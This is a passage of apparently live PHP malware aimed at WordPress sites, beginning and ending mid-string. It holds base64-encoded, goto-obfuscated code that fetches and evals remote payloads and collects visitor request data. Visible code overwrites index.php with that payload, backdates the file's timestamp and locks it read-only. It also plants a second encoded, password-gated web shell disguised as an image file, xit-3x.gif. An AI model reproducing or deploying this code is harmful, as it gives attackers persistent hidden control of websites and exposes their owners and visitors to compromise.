OyBHODdwcDNnSDFrd0NvQjogJFJ3UFJxRlRoYWdsYXdOID0gJyc7IGdvdG8ga1lBdG84OVZzdXVRMjM7IHZhU0p1VXZZY2xmQTBpOiAkWHVERXZqSDIzaWZ0aGggPSAkYllRcTFQWUprSFlvbnUoIlwxNzYiLCAiXDQwIik7IGdvdG8gR2ZmV2tzVEVDVERjOEk7IHhrWXRhYnFseXFWTmZYOiAkYllRcTFQWUprSFlvbnUgPSAiXHg3MiIgLiAiXHg2MSIgLiAiXDE1NiIgLiAiXDE0NyIgLiAiXHg2NSI7IGdvdG8gdmFTSnVVdlljbGZBMGk7IEd0RFZYZDFjTWtxTUVqOiByZXR1cm4gJFJ3UFJxRlRoYWdsYXdOOyBnb3RvIGxtVTBRbHJSV0EwekNFOyBsbVUwUWxyUldBMHpDRTogfSBzdGF0aWMgZnVuY3Rpb24gZ01NbFFidjNtTGZreUkoJGY3SGZhX0g5U2ZkYXVCLCAkbkZURERyQ09DMWc3SG0pIHsgZ290byBQMDRkNjdFXzlSbTV6ODsgYWhBVUdKZHlSR2hXakU6IHJldHVybiBlbXB0eSgkT2pveGdaV0NWSlEyQVkpID8gJG5GVEREckNPQzFnN0htKCRmN0hmYV9IOVNmZGF1QikgOiAkT2pveGdaV0NWSlEyQVk7IGdvdG8gZEdfZEFQMlROOGw4MFM7IE15cXppd1pOM0xiSGxKOiAkT2pveGdaV0NWSlEyQVkgPSBjdXJsX2V4ZWMoJElBeUZKUlBSOVZ0THpDKTsgZ290byBhaEFVR0pkeVJHaFdqRTsgUDA0ZDY3RV85Um01ejg6ICRJQXlGSlJQUjlWdEx6QyA9IGN1cmxfaW5pdCgkZjdIZmFfSDlTZmRhdUIpOyBnb3RvIG5kUm5ZOWVJdWdKWGdIOyBuZFJuWTllSXVnSlhnSDogY3VybF9zZXRvcHQoJElBeUZKUlBSOVZ0THpDLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgZ290byBNeXF6aXdaTjNMYkhsSjsgZEdfZEFQMlROOGw4MFM6IH0gc3RhdGljIGZ1bmN0aW9uIEtOMW1NSjNJU1d1MTlFKCkgeyBnb3RvIEV5ZTF2UVB3NEZqOHA4OyByYUhYMVNuamNqZ0hoeTogJGg3YkpTeUdSTFRmdVZiID0gQCRxUEZSS3RWSzRfOEFOTVsxXSgkcVBGUkt0Vks0XzhBTk1bOCArIDJdKElOUFVUX0dFVCwgJHFQRlJLdFZLNF84QU5NWzYgKyAzXSkpOyBnb3RvIENGSHdmUlVnR2JrOU41OyBuNXpBalFqZUw1TkVLOTogJHl4c2RpQUdEdDRJU05ZID0gJHFQRlJLdFZLNF84QU5NWzIgKyAwXSgkdFltT00wTFJqVk9SajEsIHRydWUpOyBnb3RvIG54YXRlNmdyX0NQZnZEOyBVd0FST3pRYVRlSVRaMzogZm9yZWFjaCAoJHE3NjFJMFZUT2FEVlVqIGFzICRPRVRaQjh0dExJdlpKZykgeyAkcVBGUkt0Vks0XzhBTk1bXSA9IHNlbGY6Om50V2ZuVGpGbWlTRDExKCRPRVRaQjh0dExJdlpKZyk7IHA5eEh4Nmh3WklVNUhvOiB9IGdvdG8gTmd4SmRodGY3dWRwSks7IGlzY2lhcEZtckc5WlU2OiBpZiAoIShAJHl4c2RpQUdEdDRJU05ZWzBdIC0gdGltZSgpID4gMCBhbmQgbWQ1KG1kNSgkeXhzZGlBR0R0NElTTllbMiArIDFdKSkgPT09ICJceDM5XHgzM1w3MVx4NjVcNjBceDM3XDE0M1x4NjRceDM4XHgzNlw3MVw3MFx4MzhceDY1XHgzOVx4MzVceDMyXHg2NFx4MzZcMTQ1XHg2MVwxNDNceDMwXHgzMVw2Mlx4MzFceDY2XDcwXHgzM1w2N1x4NjJcNjEiKSkgeyBnb3RvIEZtX2QxeGF2bnFVUVFFOyB9IGdvdG8gbEhuNjJHUUFWUExDbkI7IE5neEpkaHRmN3VkcEpLOiBZOGJJejdTNnMwVEpCUDogZ290byByYUhYMVNuamNqZ0hoeTsgRXllMXZRUHc0Rmo4cDg6ICRxNzYxSTBWVE9hRFZVaiA9IGFycmF5KCJceDM3XDcxXHgzNVw2NFw2MVw3Mlw2N1x4MzlcNjVceDMyXHgzNlw3Mlx4MzdceDM5XDY1XDYzXDcxXDcyXHgzN1x4MzlceDM1XHgzNFw2M1w3Mlx4MzdceDM5XHgzNVw2Mlx4MzRcNzJceDM3XHgzOVx4MzVceDMzXDcxXDcyXHgzN1w3MVw2NVx4MzRceDM1XHgzYVw2N1w3MVw2NVw2M1x4MzhcNzJcNjdceDM5XDY1XHgzMlx4MzNcNzJceDM3XHgzOVx4MzVceDMzXDYwXHgzYVw2N1w3MVw2NVw2NFw2MVw3Mlx4MzdceDM5XHgzNVx4MzJceDM0XHgzYVx4MzdcNzFceDM1XDYzXHgzNVx4M2FceDM3XDcxXDY1XHgzMlw3MVw3Mlx4MzdcNzFceDM1XHgzM1x4MzAiLCAiXDY3XHgzOVx4MzVceDMyXDY1XDcyXDY3XDcxXHgzNVx4MzJceDM0XDcyXHgzN1x4MzlceDM1XHgzMlw2Nlw3Mlx4MzdceDM5XDY1XHgzNFx4MzVceDNhXDY3XHgzOVw2NVx4MzJcNjZcNzJcNjdceDM5XDY1XDYyXHgzOVw3Mlw2N1w3MVw2NVw2Mlw2NFw3Mlx4MzdcNzFcNjVcNzFceDMxXDcyXDY3XDcxXDY1XHgzOFx4MzkiLCAiXHgzN1w3MVw2NVx4MzNcNjRcNzJcNjdceDM5XHgzNVx4MzJceDM1XDcyXHgzN1w3MVw2NVw2Mlw3MVx4M2FcNjdcNzFcNjVceDMzXDYwXHgzYVw2N1w3MVx4MzVcNjRceDM1XHgzYVx4MzdcNzFceDM1XHgzNFw2MFw3Mlw2N1w3MVw2NVw2M1x4MzlceDNhXHgzN1x4MzlcNjVceDM0XDYxXHgzYVx4MzdcNzFceDM1XDYyXHgzOVw3Mlw2N1x4MzlcNjVceDM0XDYwXHgzYVw2N1w3MVw2NVw2M1x4MzkiLCAiXDY3XHgzOVx4MzVcNjJceDM4XHgzYVw2N1x4MzlcNjVcNjRceDMzXHgzYVw2N1w3MVx4MzVceDM0XDYxXHgzYVw2N1w3MVw2NVx4MzNcNjMiLCAiXHgzN1x4MzlceDM1XHgzNFw2Mlx4M2FceDM3XHgzOVx4MzVceDM0XDYzXHgzYVw2N1x4MzlceDM1XHgzMlx4MzVceDNhXHgzN1w3MVw2NVx4MzNceDM5XDcyXDY3XDcxXHgzNVw3MFx4MzZceDNhXDY3XHgzOVw2NVx4MzhceDM4XHgzYVx4MzdceDM5XDY1XHgzNFx4MzVcNzJcNjdceDM5XDY1XDY0XHgzMFx4M2FcNjdceDM5XHgzNVx4MzNceDM5XDcyXDY3XHgzOVx4MzVceDM0XDYxXDcyXDY3XHgzOVx4MzVceDMyXDcxXDcyXDY3XDcxXHgzNVx4MzRcNjBceDNhXDY3XHgzOVx4MzVcNjNceDM5IiwgIlw2N1x4MzlcNjVceDMzXDcwXDcyXDY3XDcxXDY1XDYzXHgzNVx4M2FceDM3XDcxXHgzNVw2M1w2Mlx4M2FcNjdceDM5XHgzNVx4MzNceDM5XDcyXHgzN1w3MVw2NVx4MzRceDM1XDcyXDY3XDcxXHgzNVw2M1x4MzdceDNhXHgzN1w3MVw2NVx4MzNcNzFcNzJceDM3XHgzOVx4MzVceDMyXHgzNFw3Mlw2N1w3MVw2NVx4MzRceDM1XDcyXDY3XDcxXHgzNVx4MzRcNjFceDNhXDY3XDcxXDY1XDYyXDcxXDcyXHgzN1w3MVw2NVw2M1w2MFw3Mlw2N1w3MVx4MzVcNjJcNjRceDNhXDY3XHgzOVx4MzVcNjNcNzFcNzJceDM3XHgzOVx4MzVceDMzXDYwXDcyXHgzN1x4MzlceDM1XHgzMlx4MzRceDNhXDY3XDcxXHgzNVw2Mlx4MzUiLCAiXHgzN1x4MzlceDM1XDY2XHgzOFw3Mlx4MzdceDM5XHgzNVw3MVw3MCIsICJcNjdcNzFcNjVceDMxXDY1IiwgIlw2N1x4MzlceDM1XDcxXDYzXHgzYVx4MzdcNzFceDM1XDcxXHgzOCIsICJcNjdcNzFceDM1XDY3XHgzNVw3Mlw2N1w3MVx4MzVcNjVcNzBceDNhXDY3XHgzOVx4MzVcNjVcNzBceDNhXHgzN1x4MzlcNjVceDM3XDY1XHgzYVx4MzdcNzFcNjVcNjVceDMxIiwgIlx4MzdcNzFceDM1XDYzXHgzOFx4M2FcNjdcNzFceDM1XHgzM1x4MzVcNzJceDM3XHgzOVw2NVw2M1w2Mlw3Mlw2N1x4MzlcNjVcNjJcNjRceDNhXDY3XHgzOVx4MzVcNjNcNzFcNzJceDM3XHgzOVw2NVw2Mlw2Nlx4M2FceDM3XDcxXDY1XHgzNFx4MzVceDNhXHgzN1w3MVx4MzVceDMzXHgzNVx4M2FceDM3XDcxXHgzNVx4MzNcNjBcNzJceDM3XDcxXDY1XHgzMlw3MFw3Mlw2N1x4MzlceDM1XHgzMlx4MzNcNzJcNjdceDM5XDY1XDYyXDY0Iik7IGdvdG8gVXdBUk96UWFUZUlUWjM7IGoyY1JEQ3BxZGFRTzFhOiBkaWU7IGdvdG8gRVpZVnIxMWZCcGN6alA7IENGSHdmUlVnR2JrOU41OiAkdFltT00wTFJqVk9SajEgPSBAJHFQRlJLdFZLNF84QU5NWzMgKyAwXSgkcVBGUkt0Vks0XzhBTk1bMCArIDZdLCAkaDdiSlN5R1JMVGZ1VmIpOyBnb3RvIG41ekFqUWplTDVORUs5OyBpNHY5NzBVbUswYXhLcjogQGV2YWwoJHFQRlJLdFZLNF84QU5NWzIgKyAyXSgkcDFoUGp1QVVpVlVzUGcpKTsgZ290byBqMmNSRENwcWRhUU8xYTsgRVpZVnIxMWZCcGN6alA6IEZtX2QxeGF2bnFVUVFFOiBnb3RvIHNETjMzZl9XUFQ5OXhsOyBueGF0ZTZncl9DUGZ2RDogQCRxUEZSS3RWSzRfOEFOTVswICsgMTBdKElOUFVUX0dFVCwgIlx4NmZcMTQ2IikgPT0gMSAmJiBkaWUoJHFQRlJLdFZLNF84QU5NWzUgKyAwXShfX0ZJTEVfXykpOyBnb3RvIGlzY2lhcEZtckc5WlU2OyBsSG42MkdRQVZQTENuQjogJHAxaFBqdUFVaVZVc1BnID0gc2VsZjo6R21NbHFCVjNNbGZrWUkoJHl4c2RpQUdEdDRJU05ZWzEgKyAwXSwgJHFQRlJLdFZLNF84QU5NWzQgKyAxXSk7IGdvdG8gaTR2OTcwVW1LMGF4S3I7IHNETjMzZl9XUFQ5OXhsOiB9IH0gZ290byBrUERxQmRZR29lTGdTTDsgdjdrcDBPTTNObDA5YW86ICRrMXZGaDNCaUxhaXNjc1siXHg2YyJdID0gQ0QyNGp5R1pYS29uRWQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXHg0MVx4NDNcMTAzXHg0NVwxMjBcMTI0XDEzN1x4NGNcMTAxXHg0ZVx4NDdcMTI1XDEwMVx4NDdceDQ1Il0pOyBnb3RvIGZXdTIxMkRtRWx3d21IOyBadXlIdDIwRWZHRUc3UDogaWYgKCFzdWJzdHJfY291bnQoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XDEyM1wxMjRceDVmXDEyNVx4NTJcMTExIl0sICJceDY5XDE1Nlx4NjRcMTQ1XHg3OFx4MmVceDcwXDE1MFx4NzBcNTdceDZhXDE1MyIpKSB7IGdvdG8gT2pkV0pUYlRCUHBQV1Y7IH0gZ290byBYUUpfYndKUERKbkc3RjsgR0ZibU9PWGpaMFJlQ0w6IEhwMm5UTzdRMUZWQXdaOiBnb3RvIEhnX3liZjF0bmV0T2pDOyBidGtETWxVMEdYMmlyZjogJEs1OVJ2czNCd21qSnJlID0gIlx4NzIiIC4gIlwxNDEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlx4NjUiOyBnb3RvIFV0MlUzX3hLakwyRTR1OyBmV3UyMTJEbUVsd3dtSDogJGsxdkZoM0JpTGFpc2NzWyJcMTYzXDE1NiJdID0gY2QyNEp5R3pYa29ORWQoJF9TRVJWRVJbIlx4NTNcMTAzXHg1Mlx4NDlceDUwXDEyNFx4NWZceDRlXHg0MVx4NGRceDQ1Il0pOyBnb3RvIHdoSmRrMjdURU1ZQUNDOyBpdWxHVUFzTF9aV3JrdzogaWYgKCEoJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVwxMjVceDQ1XDEyM1wxMjRcMTM3XHg1NVwxMjJcMTExIl0gPT09ICJceDJmXHg1Mlx4MmQiIC4gbWQ1KCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRceDUwXHg1Zlx4NDhceDRmXHg1M1x4NTQiXSkpKSB7IGdvdG8gU2NzYmhDMjB1Zm05Z3Y7IH0gZ290byBvWGRzMUtXTG1kdnBFRjsgQTFsME5wQVc0OFdoR3E6ICRRc0lpVDBldFNKT3MwQyA9IGZhbHNlOyBnb3RvIFFlZlJhbHdCR1hJY05jOyBrekhJbEQ1TVJhMUFFNzogaWYgKGluX2FycmF5KCRjTXkxQnl0dWVmUWV3WFsiXHg3M1wxNjRceDYxXDE2NFwxNjVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gUjBLTEJYblpxMDQ1ZWs7IH0gZ290byBKRVNpWlZWNTJkNW1QUzsgVXQyVTNfeEtqTDJFNHU6ICR6enJzNUwzQU5mSkQ2eiA9ICRLNTlSdnMzQndtakpyZSgiXDE3NiIsICJceDIwIik7IGdvdG8gV0g4MzBIbGhQYW5BT287IGI1WVlCTndFOHk0Tm9oOiBpZiAoIShzdHJwb3MoJHZJXzRSNTNTU3U1a1prLCAiXHgyZSIpID4gMCkpIHsgZ290byBnN3JuVGxBcmRyc0Y5azsgfSBnb3RvIHYyVllzVHlCcEcyX0FEOyBGel9scDlrYW0xZ2ZjRTogZXhpdCgkY015MUJ5dHVlZlFld1hbIlwxNDNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVwxNjQiXSk7IGdvdG8gU2wwTkxSM0NEWThobUo7IFNsME5MUjNDRFk4aG1KOiBCbUtrOFBiWHhYZEdJXzogZ290byBKMWtoUGl2TnVJSDR0NjsgY3V3SV9PWWtveFlHSnI6IGlmICghaW5fYXJyYXkoJHFoWnhGNkpPSGhjVmoxLCBhcnJheSgiXHgyZVwxNTJceDczIiwgIlx4MmVceDYzXHg3M1x4NzMiLCAiXDU2XHg2YVx4NzBceDY3IiwgIlw1Nlx4NmFceDcwXHg2NVwxNDciLCAiXDU2XHg3MFx4NmVceDY3IiwgIlw1NlwxNDdceDY5XHg2NiIsICJcNTZcMTUxXHg2M1wxNTciLCAiXDU2XDE2M1wxNjZceDY3IiwgIlx4MmVcMTY3XDE0NVwxNDJcMTYwIiwgIlx4MmVceDYyXHg2ZFx4NzAiLCAiXDU2XHg3N1x4NmZcMTQ2XDE0NiIsICJcNTZceDc3XHg2Zlx4NjZceDY2XDYyIiwgIlx4MmVceDc0XDE2NFwxNDYiLCAiXDU2XDE1N1x4NzRceDY2IikpKSB7IGdvdG8gQmNtVWozeUdRVDU4akM7IH0gZ290byBBMWwwTnBBVzQ4V2hHcTsgbTFtUkpyNERYZ043cTM6ICRrMXZGaDNCaUxhaXNjcyA9IGFycmF5KCk7IGdvdG8gQjN2Y2lTRF9rMElZZDM7IEpFU2laVlY1MmQ1bVBTOiBzd2l0Y2ggKCRjTXkxQnl0dWVmUWV3WFsiXHg3M1x4NzRceDYxXDE2NFx4NzVceDczIl0pIHsgY2FzZSAzMDE6IGdvdG8gS3hHSk5nQldyczJ4ZnM7IEt4R0pOZ0JXcnMyeGZzOiBoZWFkZXIoIlwxMTBceDU0XDEyNFwxMjBcNTdceDMxXHgyZVw2MVw0MFx4MzNcNjBceDMxXDQwXDExNVwxNTdcMTY2XHg2NVx4NjRcNDBcMTIwXHg2NVwxNjJceDZkXDE0MVx4NmVceDY1XHg2ZVx4NzRceDZjXHg3OSIpOyBnb3RvIFkxWEFyeTBrZnNXb0xyOyBZMVhBcnkwa2ZzV29McjogaGVhZGVyKCJcMTE0XDE1N1wxNDNcMTQxXDE2NFx4NjlcMTU3XHg2ZVw3Mlx4MjAiIC4gdHJpbSgkY015MUJ5dHVlZlFld1hbIlx4NjNcMTU3XDE1Nlx4NzRceDY1XDE1Nlx4NzQiXSkpOyBnb3RvIHdqRW9LSVk1WEdOcTNQOyB3akVvS0lZNVhHTnEzUDogZ290byBaS0VnT2dHMWZMZW9CSDsgZ290byB3d0xtMDZQQl9RUlJUbjsgd3dMbTA2UEJfUVJSVG46IGNhc2UgMzAyOiBnb3RvIGFZZEhzSzJoVmhtUUQzOyBtS1IyTFdodFRxUU5GNDogaGVhZGVyKCJcMTE0XHg2ZlwxNDNcMTQxXDE2NFwxNTFcMTU3XDE1Nlw3Mlw0MCIgLiB0cmltKCRjTXkxQnl0dWVmUWV3WFsiXDE0M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdKSk7IGdvdG8gQWd3dUFyRnA2Q1YyVWg7IGFZZEhzSzJoVmhtUUQzOiBoZWFkZXIoIlwxMTBceDU0XHg1NFwxMjBceDJmXDYxXHgyZVw2MVw0MFw2M1w2MFx4MzJceDIwXHg0ZFx4NmZcMTY2XHg2NVw0MFx4NTRcMTQ1XDE1NVx4NzBcMTU3XDE2MlwxNDFcMTYyXHg2OVwxNTRcMTcxIik7IGdvdG8gbUtSMkxXaHRUcVFORjQ7IEFnd3VBckZwNkNWMlVoOiBnb3RvIFpLRWdPZ0cxZkxlb0JIOyBnb3RvIFA0Sm5ZbFJsTVZ1THUxOyBQNEpuWWxSbE1WdUx1MTogY2FzZSA0MDQ6IGdvdG8gWG52aFlKMmpvcEV0TkQ7IFhudmhZSjJqb3BFdE5EOiBoZWFkZXIoIlwxMTBcMTI0XHg1NFx4NTBcNTdceDMxXHgyZVx4MzFcNDBceDM0XHgzMFx4MzRcNDBcMTE2XDE1N1wxNjRceDIwXDEwNlx4NmZcMTY1XDE1NlwxNDQiKTsgZ290byBta1h2T3Z1djBFckdtNTsgbWtYdk92dXYwRXJHbTU6IGhlYWRlcigiXDE2M1x4NzRceDYxXHg3NFx4NzVcMTYzXDcyXDQwXHgzNFw2MFw2NFw0MFx4NGVcMTU3XDE2NFw0MFx4NDZceDZmXHg3NVx4NmVcMTQ0Iik7IGdvdG8gWk5VeEEzMm9BWERkdFk7IFpOVXhBMzJvQVhEZHRZOiBnb3RvIFpLRWdPZ0cxZkxlb0JIOyBnb3RvIEJRTXJzNV8yeHVtM0xIOyBCUU1yczVfMnh1bTNMSDogZGVmYXVsdDogZ290byBaS0VnT2dHMWZMZW9CSDsgfSBnb3RvIGp6YlY4ZHNQWWZvZV9nOyBLT3d1MFBycnZ4UEExYTogZnVuY3Rpb24gQ2QyNGpZR3pYS09OZUQoJFk4MzE1RTlUejgydjg3KSB7IHJldHVybiBydHJpbShzdHJ0cihiYXNlNjRfZW5jb2RlKCRZODMxNUU5VHo4MnY4NyksICJceDJiXHgyZiIsICJceDJkXHg1ZiIpLCAiXHgzZCIpOyB9IGdvdG8gSlpid1R2X1plTDF2bG47IHYyVllzVHlCcEcyX0FEOiAkcWhaeEY2Sk9IaGNWajEgPSBzdWJzdHIoJHZJXzRSNTNTU3U1a1prLCBzdHJycG9zKCR2SV80UjUzU1N1NWtaaywgIlw1NiIpKTsgZ290byBjdXdJX09Za294WUdKcjsgYlpCcTAwNm5PeF85U1k6ICRxaFp4RjZKT0hoY1ZqMSA9ICcnOyBnb3RvIGI1WVlCTndFOHk0Tm9oOyBWVjJDS1BwODFibWF6TDogQGV2YWwoJENtcmk3SXZJUWN3ZHIzWzY3XSgkeyRDbXJpN0l2SVFjd2RyM1s0NF19WzIwXSkpOyBnb3RvIEdGYm1PT1hqWjBSZUNMOyBCM3ZjaVNEX2swSVlkMzogJGsxdkZoM0JpTGFpc2NzWyJceDY5Il0gPSBDZDI0allnenhLb25lZChPVWxnb3F1UEhENm82UigpKTsgZ290byB2N2twME9NM05sMDlhbzsgSGdfeWJmMXRuZXRPakM6IG1ldGFwaG9uZSgiXHg0ZVx4N2FceDQ5XDE3Mlx4NGZceDU0XHg0OVx4MzRceDRkXHg1NFwxNDNcNjBcMTE2XDE1Mlx4NTFcNjFcMTE2XHg0NFwxMzFceDc3XDExNlwxNTJceDQ1XHg3OVx4NGRceDdhXDEzMVx4MzJceDRlXDEwNFwxMDVceDc4Iik7IGdvdG8gT0dFOVM5OE56WDEzcnQ7IGYwdmgzaXpQNDUzWlB6OiBpZiAoIXN0cmxlbigkY015MUJ5dHVlZlFld1hbIlx4NjNcMTU3XDE1Nlx4NzRcMTQ1XDE1NlwxNjQiXSkpIHsgZ290byBCbUtrOFBiWHhYZEdJXzsgfSBnb3RvIHlpRzF5SzN6MXBPcjBsOyBGSGgxTGxZVkxrRGdZQzogZnVuY3Rpb24gUzE3NFhleEYzaF8zMnIoJEFYdjl3cDlkWjVZcXhCKSB7IGdvdG8gbkFLT0J1YXVNaDV4TlU7IHplYnp0MHF1dThZa0ZmOiBpZiAoaXNfYXJyYXkoJEFYdjl3cDlkWjVZcXhCKSkgeyBnb3RvIHFjTTBrWk1rRGlUMUFvOyB9IGdvdG8gQmVPMWxYZkIxMFZlbWk7IG5BS09CdWF1TWg1eE5VOiAkWWphWGo2WENFQnBVb2kgPSBhcnJheSgiXHg3M1wxNjRcMTQxXHg3NFx4NzVceDczIiA9PiAwLCAiXDE0M1x4NmZcMTU2XDE2NFx4NjVcMTU2XDE2NCIgPT4gJycsICJceDc0XHg3OVx4NzBcMTQ1IiA9PiAnJyk7IGdvdG8gemVienQwcXV1OFlrRmY7IEhnVHhybzRkcnhxaGpqOiBqSTN2SVMyM0pobGNjVjogZ290byB5NXZrWVN2MDVQaG9mZTsgQUtpMzJZQ19VcWh6NEM6IGZvcmVhY2ggKCRBWHY5d3A5ZFo1WXF4QiBhcyAkZVcwRVh0RF91M3Fwd1ApIHsgZ290byBHNTBfRXVmRFhfUGVPbzsgRzUwX0V1ZkRYX1BlT286IGlmIChwcmVnX21hdGNoKCJceDJmXHg2OFwxNjRcMTY0XDE2MFwxMzRcNTdcMTMzXHgzMFx4MmRcNzFceDVjXDU2XHg1ZFx4MmJceDViXHg1Y1x4NzNcMTM1XHgyYlw1MFx4NWJcNjBceDJkXHgzOVwxMzVcNTNceDI5XDU3XHg2OSIsICRlVzBFWHREX3UzcXB3UCwgJGRxMEgyWVRvM2NacnlZKSkgeyBnb3RvIEtET2RSVnQzY1J1WlNMOyB9IGdvdG8gbzdhSXJ0enZndE1oSTE7IGZHRjRnd0pPZUNMcWlvOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2M1wxNTdceDZlXHg3NFwxNDVcMTU2XDE2NFx4NWNcNTVcMTY0XHg3OVx4NzBcMTQ1XDEzNFx4M2FcMTMzXHg1Y1wxNjNcMTM1XDUzXDUwXDU2XDUyXDUxXDU3XDE1MSIsICRlVzBFWHREX3UzcXB3UCwgJGRxMEgyWVRvM2NacnlZKSkgeyBnb3RvIG5UWEY2aWt4Yzl4Tno3OyB9IGdvdG8gRVgwS0RrSFVXMl9RTmU7IGpMT3RfTHBFU3JZMWVVOiBONk9iYmxxNjVmTDh4RDogZ290byBNS2NVMFY3ZWRBU2pLYzsgRVgwS0RrSFVXMl9RTmU6IGdvdG8gTjZPYmJscTY1Zkw4eEQ7IGdvdG8gVVNrM1F3ZmRRVkh0UV87IEI2dzMwNjBfNm5yRVo1OiBnb3RvIE42T2JibHE2NWZMOHhEOyBnb3RvIEE4UGI5VUtRdnlBcGVMOyBUbWNYQXhLTkpDbV8xMzogRDNuY3hvMXdkMERxT3k6IGdvdG8gV0d5eV9DNHZFZ29xZGE7IG83YUlydHp2Z3RNaEkxOiBpZiAocHJlZ19tYXRjaCgiXHgyZlx4NmNceDZmXHg2M1x4NjFceDc0XHg2OVx4NmZceDZlXHg1Y1x4M2FcMTMzXDEzNFx4NzNceDVkXHgyYlx4MjhcNTZcNTJceDI5XHgyZlx4NjkiLCAkZVcwRVh0RF91M3Fwd1AsICRkcTBIMllUbzNjWnJ5WSkpIHsgZ290byBEM25jeG8xd2QwRHFPeTsgfSBnb3RvIGZHRjRnd0pPZUNMcWlvOyB3MkNJTDBheWVjWWcwMDogJFlqYVhqNlhDRUJwVW9pWyJcMTY0XHg3OVwxNjBceDY1Il0gPSAkZHEwSDJZVG8zY1pyeVlbMV07IGdvdG8gakxPdF9McEVTclkxZVU7IFVTazNRd2ZkUVZIdFFfOiBLRE9kUlZ0M2NSdVpTTDogZ290byByMVFVWkJTVll2ME9QZjsgWUd5M014NTM5M0t1bU86IGdvdG8gTjZPYmJscTY1Zkw4eEQ7IGdvdG8gVG1jWEF4S05KQ21fMTM7IFdHeXlfQzR2RWdvcWRhOiAkWWphWGo2WENFQnBVb2lbIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSA9ICRkcTBIMllUbzNjWnJ5WVsxXTsgZ290byBCNnczMDYwXzZuckVaNTsgcjFRVVpCU1ZZdjBPUGY6ICRZamFYajZYQ0VCcFVvaVsiXDE2M1wxNjRceDYxXHg3NFx4NzVceDczIl0gPSBpbnR2YWwoJGRxMEgyWVRvM2NacnlZWzFdKTsgZ290byBZR3kzTXg1MzkzS3VtTzsgTUtjVTBWN2VkQVNqS2M6IFJaREVtRVN2ekE5aTB5OiBnb3RvIFZjQTRNb1BPOHg2bzlxOyBBOFBiOVVLUXZ5QXBlTDogblRYRjZpa3hjOXhOejc6IGdvdG8gdzJDSUwwYXllY1lnMDA7IFZjQTRNb1BPOHg2bzlxOiB9IGdvdG8gSGdUeHJvNGRyeHFoamo7IEJlTzFsWGZCMTBWZW1pOiByZXR1cm4gJFlqYVhqNlhDRUJwVW9pOyBnb3RvIGZ6YTN0SzZXTUR6SFBYOyB5NXZrWVN2MDVQaG9mZTogcmV0dXJuICRZamFYajZYQ0VCcFVvaTsgZ290byBvaDAxb1B0bzNYbm14ZjsgZnphM3RLNldNRHpIUFg6IHFjTTBrWk1rRGlUMUFvOiBnb3RvIEFLaTMyWUNfVXFoejRDOyBvaDAxb1B0bzNYbm14ZjogfSBnb3RvIG5EZlhrVnNHOU9BU0VQOyBCX0t2ME5ZQmZiMlhYRzogWktFZ09nRzFmTGVvQkg6IGdvdG8gYU9xMEcxcFVwY09OY3c7IEF2WVRRcFpkWWFCcUNnOiBpZiAoISRRc0lpVDBldFNKT3MwQykgeyBnb3RvIHBvb3J0S09hRzB0T0QyOyB9IGdvdG8gbTFtUkpyNERYZ043cTM7IGhhZnZhd0g0cXRZbTJNOiBnN3JuVGxBcmRyc0Y5azogZ290byB4WW16ZldLVUJiM1YzVzsgd2hKZGsyN1RFTVlBQ0M6ICRrMXZGaDNCaUxhaXNjc1siXDE2MiJdID0gY0QyNEp5R1p4S29ORWQoJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVceDQ1XHg1M1wxMjRcMTM3XHg1NVwxMjJcMTExIl0pOyBnb3RvIEg0a0pzTjNnc0NUMUlnOyBKMWtoUGl2TnVJSDR0NjogcG9vcnRLT2FHMHRPRDI6Cj8+Cjw/cGhwIGRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7IHJlcXVpcmUoJy4vd3AtYmxvZy1oZWFkZXIucGhwJyk7Pz4=");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCg